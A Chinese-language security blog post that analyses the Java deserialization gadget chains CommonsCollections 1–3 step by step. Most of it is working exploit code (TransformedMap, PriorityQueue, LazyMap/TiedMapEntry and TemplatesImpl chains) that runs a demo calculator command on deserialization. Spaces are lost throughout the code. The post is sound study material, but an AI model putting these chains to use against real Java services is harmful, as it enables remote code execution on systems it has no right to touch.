CommonsCollections1分析
1.环境搭建
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version></dependency>
-
• AnnotationInvocationHandler调试与Find问题https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/8dd0918b97a4 下载对应版本的zip,在jd8u65文件夹下存在一个src.zip,解压后将src/share/classes/sun文件夹放在src下。
-
• 调用Find usages找不到,可以修改配置如下: -
• 版本限制 -
• jdk<=8u65
2.调试分析
常见的命令调用方式:
Runtimer= Runtime.getRuntime();r.exec("open -a calculator");
当我们利用InvokerTransformer时,它的transform方法如下:
public Object transform(Object input) {if (input == null) {returnnull; }try {Classcls= input.getClass();//获取input的class对象Methodmethod= cls.getMethod(iMethodName, iParamTypes);//通过class对象获取方法return method.invoke(input, iArgs); //方法调用还是通过input } ....}
同样可以构造出执行calc的代码,如下:
newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"open -a calculator"}).transform(r);
根据java反序列化的调用方式,需要找到一处调用transform方法的位置。
在CC1链中利用的是TransformedMap#checksetValue
方法,如下:
protected Object checkSetValue(Object value) {return valueTransformer.transform(value);}
在TransformedMap
中是实现了AbstractInputCheckedMapDecorator
接口,该接口中存在setValue
方法调用到checkSetValue
方法,代码如下:
public Object setValue(Object value) { value = parent.checkSetValue(value);return entry.setValue(value);}
通过TransformedMap
可以用来装饰另一个Map
以变换添加的对象,也就是说我们可以将命令执行的代码改写为如下:
Runtimer= Runtime.getRuntime();InvokerTransformerinvokerTransformer=newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"open -a calculator"});HashMap<Object, Object> hashMap = newHashMap<>();hashMap.put("name","123");Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, invokerTransformer);for (Map.Entry o : decorate.entrySet()) { o.setValue(r);}
那么接下来需要找到一处调用setValue
方法的位置,这里发现AnnotationInvocationHandler#readObject
中存在memberValue.setValue
的调用形式且memberValue
值可控,使用它继续构造链子,代码如下:
Runtimer= Runtime.getRuntime();InvokerTransformerinvokerTransformer=newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"open -a calculator"}); HashMap<Object, Object> hashMap = newHashMap<>(); hashMap.put("name","123"); Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, invokerTransformer); Class<?> annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationConstructor = annotation.getDeclaredConstructor(Class.class, Map.class); annotationConstructor.setAccessible(true);Objecto= annotationConstructor.newInstance(Bean.class, decorate);
但是该构造很明显存在问题:1.Rumtime不可序列化的. 2.memberValue.setValue(xxxx)
其中xxx不可控.
为了解决这两个问题,需要利用到其它类,可以使用ChainedTransformer
它的代码如下:
public Object transform(Object object) {for (inti=0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); }return object;}
它实现的功能:依次调用每个Transformer.transform,将结果传递到下一个Transformer中,利用该功能改写一下命令执行的部分,代码如下:
ChainedTransformerchainedTransformer=newChainedTransformer(newTransformer[]{newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"open -a calculator"}),});chainedTransformer.transform(r);
通过以上代码,能够通过chainedTransformer.transform(r);
进行利用链的调用,但是前面提到的Runtime对象是不能够序列化的,所以还得换种方式。
ChainedTransformerchainedTransformer=newChainedTransformer(newTransformer[]{newInvokerTransformer("getMethod", newClass[]{String.class,Class[].class}, newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"open -a calculator"}),});chainedTransformer.transform(Runtime.class);
通过这样的形式,解决了Runtime不可序列化的问题,还有一个问题就是setValue(xxxx)
其中xxxx是不可控的,所以像上面的调用,无法直接传入Runtime.class
,这个点需要利用到ConstantTransformer
,它的transform代码如下:
public Object transform(Object input) {return iConstant;}
调用之后原样返回,这样解决setValue值不可控的问题,成功解决了这两个问题,代码如下:
ChainedTransformerchainedTransformer=newChainedTransformer(newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod", newClass[]{String.class,Class[].class}, newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"open -a calculator"}),});chainedTransformer.transform("123");
结合之前提到的,构造出完整的链子:
ChainedTransformerchainedTransformer=newChainedTransformer(newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod", newClass[]{String.class,Class[].class}, newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"open -a calculator"}),});HashMap<Object, Object> hashMap = newHashMap<>();hashMap.put("name","123");Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);Class<?> annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> annotationConstructor = annotation.getDeclaredConstructor(Class.class, Map.class);annotationConstructor.setAccessible(true);Objecto= annotationConstructor.newInstance(Bean.class, decorate);unSerialize(serialize(o));
3.反序列化调用图
CommonsCollections2分析
1.环境搭建
<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.1</version></dependency>
2.调试分析
在 commons-collections4:4.1 依赖中原来实现反序列化接口的类被修改了,只能寻找一些其它的类。在该链子中利用PriorityQueue
作为入口类调用其的compare方法
comparator变量可控,利用TransformingComparator#compare(...)
,其中存在transform(...)
方法,同样的this.transformer
变量可控可序列化
接着利用InvokerTransformer#transform(...)
,在方法中存在反射调用,所以调用到TemplatesImpl#newTransformer()
来触发字节码加载。
代码构造如下:
TemplatesImpltemplates=newTemplatesImpl();ClasstemplatesImplClass= templates.getClass();Fieldname= templatesImplClass.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaaa");FieldbyteCodes= templatesImplClass.getDeclaredField("_bytecodes"); byteCodes.setAccessible(true); byteCodes.set(templates,newbyte[][]{Files.readAllBytes(Paths.get("/Users/me7eorite/Documents/GitHub/Learning-Demo/JavaStudy/target/classes/com/learning/security/serialization/commons/Exp.class"))});Fieldtfactory= templatesImplClass.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,newTransformerFactoryImpl());//============================================================================================================================================InvokerTransformernewTransformer=newInvokerTransformer<>("newTransformer", newClass[]{}, newObject[]{});TransformingComparatortransformingComparator=newTransformingComparator(newTransformer);PriorityQueuepriorityQueue=newPriorityQueue(transformingComparator);ClasspriorityClass= priorityQueue.getClass();Fieldsize= priorityClass.getDeclaredField("size"); size.setAccessible(true); size.set(priorityQueue,2);Fieldqueue= priorityClass.getDeclaredField("queue"); queue.setAccessible(true); queue.set(priorityQueue,newObject[]{templates,templates});byte[] serialize = serialize(priorityQueue); unSerialize(serialize);
3.反序列化利用链图
CommonsCollections3分析
1.环境搭建
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.1</version></dependency>
2.调试分析
2.1 链子1
这个链子的Sink与CC1相同,通过反射调用到TemplatesImpl#newTransformer()
实现动态类加载。
首先分析一下TemplatesImpl
中的代码,部分代码如下:
privatevoiddefineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) {ErrorMsgerr=newErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);thrownewTransformerConfigurationException(err.toString());}TransletClassLoaderloader= (TransletClassLoader) AccessController.doPrivileged(newPrivilegedAction() {public Object run() {returnnewTransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } });...for (inti=0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]);finalClasssuperClass= _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }...}
在上述代码中涉及到2个关键变量:1._bytecodes
2. _tfactory
在调用的过程中还会涉及到一个变量:3._name
.
关键的代码调用在于loader.defineClass(_bytecodes[i])
,在这边的话需要了解一些关于类加载知识,简单来说,调用到该位置后,可以在运行中利用字节码加载一个类。
加载的这个类还必须满足superClass.getName().equals(ABSTRACT_TRANSLET)
,也就是父类是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
.
了解以上的点之后,利用反射通过TemplatesImple
构造一个命令执行:
TemplatesImpltemplates=newTemplatesImpl();Class<?> templatesClass = templates.getClass();Field_name= templatesClass.getDeclaredField("_name");_name.setAccessible(true);_name.set(templates,"aaaa");//=================================================================Field_tfactory= templatesClass.getDeclaredField("_tfactory");_tfactory.setAccessible(true);_tfactory.set(templates,newTransformerFactoryImpl());//=================================================================Field_bytecodes= templatesClass.getDeclaredField("_bytecodes");_bytecodes.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("/Users/java/Exp.class"));byte[][] byteCodes = {code};_bytecodes.set(templates,byteCodes);templates.newTransformer();
还需要定义一个exp的类,然后编译出class文件:
publicclassExpextendsAbstractTranslet {publicExp() {}publicvoidtransform(DOM document, SerializationHandler[] handlers)throws TransletException {}publicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException {}static {try { Runtime.getRuntime().exec("open -a calculator"); } catch (IOException var1) {thrownewRuntimeException(var1); }}}
然后就可以触发命令执行,根据上述的点在与CC1部分链子进行拼接。
TemplatesImpltemplates=newTemplatesImpl();Class<?> templatesClass = templates.getClass();Field_name= templatesClass.getDeclaredField("_name");_name.setAccessible(true);_name.set(templates,"aaaa");//===============================================================Field_tfactory= templatesClass.getDeclaredField("_tfactory");_tfactory.setAccessible(true);_tfactory.set(templates,newTransformerFactoryImpl());//===============================================================Field_bytecodes= templatesClass.getDeclaredField("_bytecodes");_bytecodes.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("/Users/me7eorite/Documents/GitHub/Learning-Demo/JavaStudy/target/classes/com/learning/security/serialization/commons/Exp.class"));byte[][] byteCodes = {code};_bytecodes.set(templates,byteCodes);//==================方式一========================================ChainedTransformerchainedTransformer=newChainedTransformer(newTransformer[]{newConstantTransformer(templates),newInvokerTransformer("newTransformer",newClass[]{},newObject[]{})});HashMap<Object, Object> hashMap1 = newHashMap<>();hashMap1.put("123","123");Mapdecorate= LazyMap.decorate(hashMap1, chainedTransformer);TiedMapEntrytiedMapEntry=newTiedMapEntry(decorate, "123");//=================方式二==========================================//InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});//HashMap<Object, Object> hashMap1 = new HashMap<>();//hashMap1.put(templates,"123");//Map decorate = LazyMap.decorate(hashMap1, newTransformer);//TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, templates);//=================================================================HashMap<Object, Object> hashMap2 = newHashMap<>();hashMap2.put(tiedMapEntry,"123");decorate.clear();byte[] serialize = serialize(hashMap2);unSerialize(serialize);
2.2 链子2
如果Sink不利用反射调用有没有其它的方式?答案是有的。
利用InstantiateTransformer#transform
调用后,会触发xxx.newInstance(args)
,通过TrAXFilte#init
方法,触发xxx.newTransformer()
。
TemplatesImpltemplates=newTemplatesImpl(); Class<?> templatesClass = templates.getClass();Field_name= templatesClass.getDeclaredField("_name"); _name.setAccessible(true); _name.set(templates,"aaaa");//=================================================================Field_tfactory= templatesClass.getDeclaredField("_tfactory"); _tfactory.setAccessible(true); _tfactory.set(templates,newTransformerFactoryImpl());//=================================================================Field_bytecodes= templatesClass.getDeclaredField("_bytecodes"); _bytecodes.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("/Users/mxxx/Exp.class"));byte[][] byteCodes = {code}; _bytecodes.set(templates,byteCodes);ChainedTransformerchainedTransformer=newChainedTransformer(newTransformer[]{newConstantTransformer(TrAXFilter.class),newInstantiateTransformer(newClass[]{Templates.class},newObject[]{templates}) }); HashMap<Object, Object> hashMap1 = newHashMap<>(); hashMap1.put("123","123");Mapdecorate= LazyMap.decorate(hashMap1, chainedTransformer);TiedMapEntrytiedMapEntry=newTiedMapEntry(decorate, "123"); HashMap<Object, Object> hashMap2 = newHashMap<>(); hashMap2.put(tiedMapEntry,"123"); decorate.clear();byte[] serialize = serialize(hashMap2); unSerialize(serialize);
3.调用图
原文始发于微信公众号(Gh0xE9):Java反序列化安全 - CommonsCollections1-3分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论